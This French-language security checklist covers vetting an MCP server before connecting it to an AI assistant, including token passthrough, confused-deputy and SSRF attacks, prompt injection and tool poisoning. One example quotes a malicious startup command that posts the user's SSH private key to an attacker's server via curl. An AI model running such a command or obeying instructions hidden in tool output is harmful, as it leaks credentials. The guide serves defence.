Guides pratiques et modèles
Liste de vérification de préparation MCP
Ceci est un point de décision à franchir avant de connecter un serveur MCP à un assistant, afin qu'une intégration utile ne devienne pas discrètement un chemin pour une fuite de données ou pour qu'un étranger agisse avec vos accès. Il s'agit de la connexion, de la confiance que vous étendez, et de l'ampleur des dégâts si un token fuit, indépendamment du fait qu'une tâche unique soit sécuritaire à automatiser (c'est la Liste de vérification de préparation de l'agent). Exécutez-la la première fois que vous activez un serveur, et à nouveau chaque fois que le serveur, ses portées ou son éditeur changent.
Quand utiliser ceci
- Vous êtes sur le point de connecter un serveur MCP tiers qui peut écrire dans un système de production (ouvrir un billet, publier dans un canal, exécuter une requête, déployer).
- Un serveur MCP de la communauté ou du marketplace semble utile et vous devez décider s'il est sécuritaire de l'activer pour vous-même ou votre équipe.
- Un serveur en lequel vous avez déjà confiance a livré une mise à jour, changé ses portées demandées, ou changé d'éditeur, et vous devez le vérifier à nouveau.
- Vous connectez un assistant à un outil interne et devez décider quels identifiants et portées il obtient et ce qu'il peut faire.
- Un serveur MCP distant vous demande de vous authentifier, et vous devez confirmer que le flux d'authentification est solide avant de cliquer sur approuver.
- Vous exécutez un serveur MCP localement à partir d'un binaire téléchargé ou d'une commande npx, et vous voulez savoir ce qu'il peut atteindre sur votre machine.
- Quelqu'un dans l'équipe veut ajouter un serveur à la configuration partagée, et vous êtes responsable de la révision avant qu'il ne soit intégré dans la configuration de tout le monde.
Ce que cela aide à clarifier
- Si la valeur ajoutée par le serveur vaut l'accès qu'il demande, ou s'il existe une option plus restreinte.
- Ce que le serveur peut réellement atteindre : quels systèmes, quelles données, en lecture seule ou en écriture, et avec quels identifiants.
- Si l'authentification est solide, spécifiquement que les tokens sont limités à ce serveur et ne sont pas transmis à d'autres services.
- L'ampleur des dégâts si le serveur est compromis ou si un token fuit, et à quelle vitesse vous pourriez couper l'accès.
- Si les descriptions d'outils et les sorties du serveur sont traitées comme des entrées non fiables qui pourraient contenir des instructions cachées.
- Qui est responsable de la connexion : qui l'a approuvée, qui révise les mises à jour, et qui la révoque lorsqu'elle n'est plus nécessaire.
Pourquoi cette barrière est importante
Connecter un serveur MCP donne l'impression d'appuyer sur un interrupteur, et c'est précisément le problème. Maya active un serveur GitHub pour que l'assistant puisse récupérer le titre d'une pull request fusionnée par lui-même, réduisant ainsi onze copier-coller par semaine à zéro. La commodité est réelle. Tout comme ce qu'elle vient de faire : elle a remis un processus en cours d'exécution son token GitHub et lui a permis d'agir avec son accès. Le Model Context Protocol est une norme ouverte permettant à un assistant d'appeler un outil externe via un petit serveur, une requête Postgres, une recherche Jira, une trace Sentry. Le serveur fonctionne comme un processus avec vos identifiants, et c'est la partie qu'un rapide "ça a l'air utile, activez-le" ignore complètement.
La littérature sur la sécurité de 2026 concernant le MCP est directe sur les endroits où cela tourne mal. Le document officiel Meilleures pratiques de sécurité (un complément à la spécification d'autorisation, avec la révision du 2025-11-25 comme version stable actuelle) nomme cinq familles d'attaques auxquelles un examinateur doit penser. Le transfert de token est carrément interdit : un serveur NE DOIT PAS accepter des tokens qui ne lui ont pas été émis, car transférer votre token à une API en aval transforme le serveur en un adjoint confus et un proxy pour l'exfiltration de données. L'attaque de l'adjoint confus permet à un client malveillant de contourner un écran de consentement en utilisant un cookie de consentement restant et un URI de redirection enregistré dynamiquement, s'enfuyant avec un code d'autorisation. La falsification de requête côté serveur permet à un serveur hostile de fournir au client une URL pointant vers http://169.254.169.254/, le point de terminaison des métadonnées cloud, et de lire les identifiants IAM. Le détournement de session et la compromission du serveur local complètent la liste, ce dernier étant aussi brutal qu'une commande de démarrage qui exécute discrètement curl -X POST -d @~/.ssh/id_rsa contre le serveur d'un attaquant.
Aucune de ces attaques ne nécessite que Maya soit négligente sur le moment. Elles nécessitent qu'elle saute les questions une fois, au moment de la connexion, puis qu'elle oublie. Le coût de sauter cette barrière est qu'une intégration utile devient un trou permanent que personne ne surveille. La liste de vérification existe pour que les questions soient posées tant que la décision est encore réversible, avant que le serveur ne soit dans la configuration partagée et que trois coéquipiers ne dépendent de lui. C'est une petite taxe sur la première connexion qui vous achète un rayon d'impact limité pour la durée de l'intégration.
Comment bien la remplir
La différence entre une liste de vérification qui vous protège et une qui approuve automatiquement la décision réside dans le fait que chaque ligne cite une vérification ou exprime un ressenti. Parcourez la même ligne de deux manières et l'écart est évident.
Validation de l'audience. Une entrée faible dit "l'authentification est gérée, l'équipe l'a mise en place." C'est un sentiment, pas un fait, et cela laisse passer un serveur compromis. Une entrée forte dit "le serveur est enregistré en tant que serveur de ressources OAuth 2.1 et rejette tout token dont la revendication aud n'est pas ce serveur; il utilise ses propres identifiants avec portée pour l'appel GitHub en amont plutôt que de transférer le mien." La seconde nomme le comportement de la spécification (NE DOIT PAS accepter des tokens qui ne lui ont pas été émis, selon la validation d'audience RFC 8707) et vous indique que le modèle de transfert est fermé. Si vous ne pouvez pas dire lequel des deux vous avez, vous avez le faible.
Accès minimal. Une entrée faible est "les portées semblent correctes." Une entrée forte est "la configuration par défaut demandait repo:write; nous ne faisons que lire, donc nous avons reconfiguré pour lecture seule sur nos deux dépôts et refusé le reste." La version forte a fait le travail que la spécification appelle minimisation des portées : partir de l'ensemble le plus restreint, et laisser le serveur demander plus seulement lorsqu'une opération privilégiée est réellement tentée. Les portées génériques ou omnibus (files:*, full-access) sont le signe que personne n'a minimisé quoi que ce soit, et elles élargissent le rayon d'impact de chaque token divulgué.
Rayon d'impact. Une entrée faible dit "semble à faible risque." Une entrée forte dit "un token divulgué expose un accès en lecture seule à deux dépôts, rien d'écrivable, et je peux le révoquer dans les paramètres de l'application GitHub en moins d'une minute." La version forte répond à deux questions concrètes, ce qui est exposé et à quelle vitesse vous pouvez le couper, et les réponses sont limitées. "Tout, et je ne sais pas comment le révoquer" est un non, pas un faible.
Appliquez la même discipline au reste. Source de confiance signifie que vous avez vérifié le nom exact du package contre les typosquats, scanné les dépendances, et épinglé une version, pas que le README avait l'air professionnel. Sortie non fiable signifie que vous avez intégré le fait qu'un corps de pull request ou une description d'outil est un texte contrôlable par un attaquant : les deux modèles nommés sont l'injection de prompt, où un contenu non fiable introduit des instructions, et l'empoisonnement d'outil, où un serveur cache des instructions dans ses descriptions d'outils. La gestion consiste à résumer la sortie de l'outil plutôt que d'agir automatiquement dessus, et à garder un humain entre la sortie et toute action à haut risque. Confinement local signifie que vous avez vu la commande de démarrage complète non tronquée avant qu'elle ne s'exécute et que le serveur est isolé via stdio, car un serveur local fonctionne avec vos privilèges et une configuration en un clic peut introduire une commande malveillante. Remplissez chaque ligne comme une vérification que vous avez effectuée, au passé, avec un nom spécifique.
Pièges et utilisation en équipe
Quelques pièges donnent l'impression que cette liste de vérification est terminée alors que le vrai travail n'est pas fait.
- "L'authentification est gérée" comme arrêt de la pensée. L'échec le plus courant est d'accepter une vague assurance pour les lignes d'audience et de transfert. Ce sont les lignes qui empêchent un incident d'adjoint confus ou de vol de token, elles méritent donc une réponse concrète ou une connexion bloquée, jamais un haussement d'épaules.
- Vérifier une fois et plus jamais. Un changement de tapis est lorsque un serveur que vous avez déjà approuvé modifie silencieusement la définition d'un outil après coup, car le MCP n'a pas de vérification d'intégrité intégrée sur les définitions d'outils. Si vous ne révisez qu'à la première connexion, vous ne voyez jamais l'échange. Épinglez la version exacte, et refaites la vérification lorsque la version change.
- Portées trop larges "pour économiser un futur prompt." Accorder
repo:writealors que vous ne faites que lire, pour ne pas avoir à redonner votre consentement plus tard, est précisément l'inflation des portées contre laquelle la spécification met en garde. Cela transforme une fuite en lecture seule en une fuite avec accès en écriture. - Faire confiance à la sortie des outils. Laisser l'assistant agir sur une description Jira ou un corps de PR comme s'il s'agissait d'une instruction de confiance est la façon dont l'injection de prompt atteint vos systèmes. Traitez chaque octet qui traverse la frontière du serveur comme non fiable.
- Pas de journalisation dès le premier jour. Si la journalisation des appels d'outils est désactivée, un incident est invisible et non enquêtable. Activez-la avant le premier appel réel, pas après la première frayeur.
- Serveurs locaux non isolés. Exécuter un binaire téléchargé ou une commande
npxsans voir la commande de démarrage, et sans un bac à sable, donne à un code arbitraire vos pleins privilèges. Utilisez stdio, restreignez le système de fichiers et le réseau, et lisez la commande.
En équipe, la barrière change de forme. La première fois que quelqu'un connecte un serveur, la révision est approfondie et une deuxième personne lit les lignes d'authentification et de portée. Après cela, la responsabilité compte plus que la répétition : une personne, Priya dans notre exemple, est responsable de chaque connexion, donc il y a une personne nommée qui revoit les mises à jour avant qu'elles ne soient intégrées dans la configuration partagée et qui révoque l'identifiant lorsque l'intégration est retirée. Adaptez la rigueur à l'accès, un serveur en lecture seule sur un dépôt peut passer avec une lecture rapide, tandis qu'un serveur qui peut écrire en production obtient chaque ligne et un co-lecteur. Lorsque vous déployez un serveur largement plutôt que de l'activer pour vous-même, cette liste de vérification est l'une des trois. La liste de vérification de préparation de l'agent décide si une tâche spécifique est sûre à laisser l'assistant exécuter via ce serveur, et la liste de vérification de préparation au changement décide si l'équipe est prête à adopter la nouvelle capacité. Pour un guide plus approfondi sur la lecture des scripts, des hooks et des portées qu'une extension livre, le guide Compétences, plugins et extensions et l'atelier MCP et IA connectée aux outils vont champ par champ. Lors de votre prochaine connexion réelle, faites une petite chose : avant de cliquer sur approuver, écrivez la ligne de validation de l'audience avec vos propres mots. Si vous ne pouvez pas, vous avez trouvé votre premier non.
La liste de vérification
Travaillez de haut en bas. Un non ou un inconnu sur un élément de sécurité est un arrêt, pas une note de bas de page. Si vous ne pouvez pas répondre à une question, cela compte comme un non jusqu'à ce que vous puissiez y répondre.
- La valeur est claire : Vous pouvez nommer la tâche spécifique que ce serveur permet et pourquoi il est préférable de l'utiliser plutôt que de coller les données à la main ou d'utiliser un outil plus limité.
- Accès minimal : Le serveur demande les autorisations les plus restreintes pour le travail (lecture seule lorsque possible, un système et non tous), pas une autorisation générale.
- Public validé : Le serveur n'accepte que les tokens émis pour lui-même et ne transmet pas votre token à une API en aval en votre nom.
- Flux d'authentification solide : Les serveurs distants utilisent OAuth 2.1 avec PKCE sur HTTPS, une correspondance exacte de l'URI de redirection, et un écran de consentement par client que vous voyez réellement.
- Source de confiance : Vous avez vérifié l'éditeur et le nom du paquet (pas de typosquat), lu ou scanné le code et les dépendances, et fixé une version exacte.
- Serveur local contenu : Un serveur local fonctionne sur stdio ou un socket restreint, dans un bac à sable avec uniquement les fichiers et le réseau dont il a besoin, et vous avez vu la commande de démarrage exacte avant qu'elle ne s'exécute.
- Sortie non fiable : Vous traitez les descriptions d'outils et les résultats d'outils comme du texte contrôlable par un attaquant pouvant contenir une injection de prompt, et aucune action à haut risque ne s'exécute automatiquement dessus.
- Réseau clôturé : Le serveur ne peut pas atteindre les IP internes ou le point de terminaison des métadonnées du cloud (169.254.169.254), donc une requête falsifiée ne peut pas exfiltrer des identifiants.
- Rayon d'impact limité : Vous savez ce qu'un token divulgué expose, et vous pouvez le révoquer ou le faire pivoter rapidement sans tout casser.
- Propriétaire et révision : Une personne est responsable de cette connexion, les mises à jour sont réexaminées avant d'être mises en place, et la journalisation est activée dès le premier jour.
Exemple
Notes d'utilisation
- Traitez tout inconnu comme un non. "L'authentification est gérée" n'est pas une réponse; "le serveur rejette les tokens dont le public n'est pas lui-même" en est une. Si vous ne pouvez pas vérifier une ligne de sécurité, la connexion attend.
- Reprenez la liste de vérification à chaque mise à jour, pas seulement lors de la première connexion. Un serveur en lequel vous aviez confiance peut silencieusement changer une définition d'outil après approbation (un retrait de tapis), donc réexaminez et refixez lorsque la version change.
- Adaptez la profondeur à l'accès. Un serveur en lecture seule sur un dépôt passe rapidement; un serveur qui peut écrire en production mérite chaque ligne et un second lecteur.
- Cette barrière concerne la connexion. Que ce soit sécuritaire de laisser l'assistant exécuter une tâche spécifique est la Liste de vérification de préparation de l'agent, et si l'équipe est prête à adopter la nouvelle capacité est la Liste de vérification de préparation au changement. Utilisez les trois lorsque vous déployez un serveur à grande échelle.
- Pour un guide plus approfondi sur la vérification des plugins et des serveurs MCP, y compris la lecture des scripts, des hooks et des autorisations avant activation, consultez le guide Compétences, Plugins et Extensions et l'atelier MCP et IA connectée aux outils.
- Conservez la liste de vérification remplie avec le dossier de connexion. Lorsque la prochaine personne demande pourquoi ce serveur a ces autorisations, la réponse est écrite.
Copiez ceci dans vos notes
Version téléchargeable
Une page de décision go ou no-go pour connecter un serveur MCP à un assistant.
Aperçu
Valeur et adéquation
- Vous pouvez nommer la tâche spécifique que ce serveur permet, et pourquoi elle surpasse le fait de coller les données à la main.
- Aucune option plus restreinte (une portée en lecture seule, un seul système, un outil existant) ne ferait le même travail avec moins d'accès.
- Le serveur vaut le risque permanent d'être connecté, pas seulement utile sur le moment.
Accès et autorisation
- Le serveur demande les portées les plus étroites pour le travail, en lecture seule si possible, un système plutôt que tous.
- Le serveur accepte uniquement les tokens émis pour lui-même et rejette les tokens dont l'audience est un service différent.
- Le serveur ne transmet pas votre token à une API en aval ; il utilise ses propres informations d'identification pour les appels en amont.
- Les serveurs distants utilisent OAuth 2.1 avec PKCE sur HTTPS, avec une correspondance exacte de l'URI de redirection (pas de jokers).
- Un écran de consentement par client nomme le client, les portées tierces, et où les tokens seront envoyés, et vous l'avez effectivement vu.
- Chaque serveur a ses propres informations d'identification ; aucun token n'est partagé entre les serveurs.
Confiance et chaîne d'approvisionnement
- Vous avez vérifié l'éditeur et le nom exact du paquet, et ce n'est pas une imitation d'un serveur populaire.
- Vous avez lu ou scanné le code du serveur et ses dépendances, et épinglé une version exacte.
- Vous ré-examinerez et ré-épinglerez lorsque la version changera, pour qu'un échange silencieux de définition d'outil (un rug pull) ne puisse pas passer inaperçu.
- Les descriptions d'outils et les schémas de paramètres ont été inspectés pour des instructions cachées avant approbation.
Confinement et sécurité d'exécution
- Un serveur local fonctionne sur stdio ou un socket restreint, dans un bac à sable avec uniquement les fichiers et le réseau dont il a besoin.
- Vous avez vu la commande de démarrage complète, non tronquée, avant qu'elle ne s'exécute, et elle ne touche pas aux clés SSH, aux fichiers système ou à des points de terminaison réseau inattendus.
- Les descriptions d'outils et les résultats d'outils sont traités comme du texte non fiable, contrôlable par un attaquant, qui peut contenir une injection de prompt.
- Aucune action à haut risque ne s'exécute automatiquement sur la base du résultat d'un outil; un humain la révise d'abord.
- Le serveur ne peut pas atteindre les plages d'IP internes ni le point de terminaison des métadonnées cloud à 169.254.169.254.
Rayon d'impact et responsabilité
- Vous savez ce qu'un token divulgué ou volé exposerait, et la réponse est limitée, pas "tout".
- Vous pouvez révoquer ou faire tourner l'identifiant rapidement sans briser des flux de travail non liés.
- Une personne est responsable de cette connexion, et les mises à jour sont revues avant d'être intégrées dans une configuration partagée.
- La journalisation des appels d'outils est activée dès le premier jour, ce qui permet d'enquêter réellement sur un incident.
Décision
- Chaque ligne de sécurité est un oui clair; tout non ou inconnu bloque la connexion jusqu'à ce qu'il soit résolu.
- La décision est enregistrée avec ses portées, conditions, et un déclencheur pour savoir quand la re-vérifier.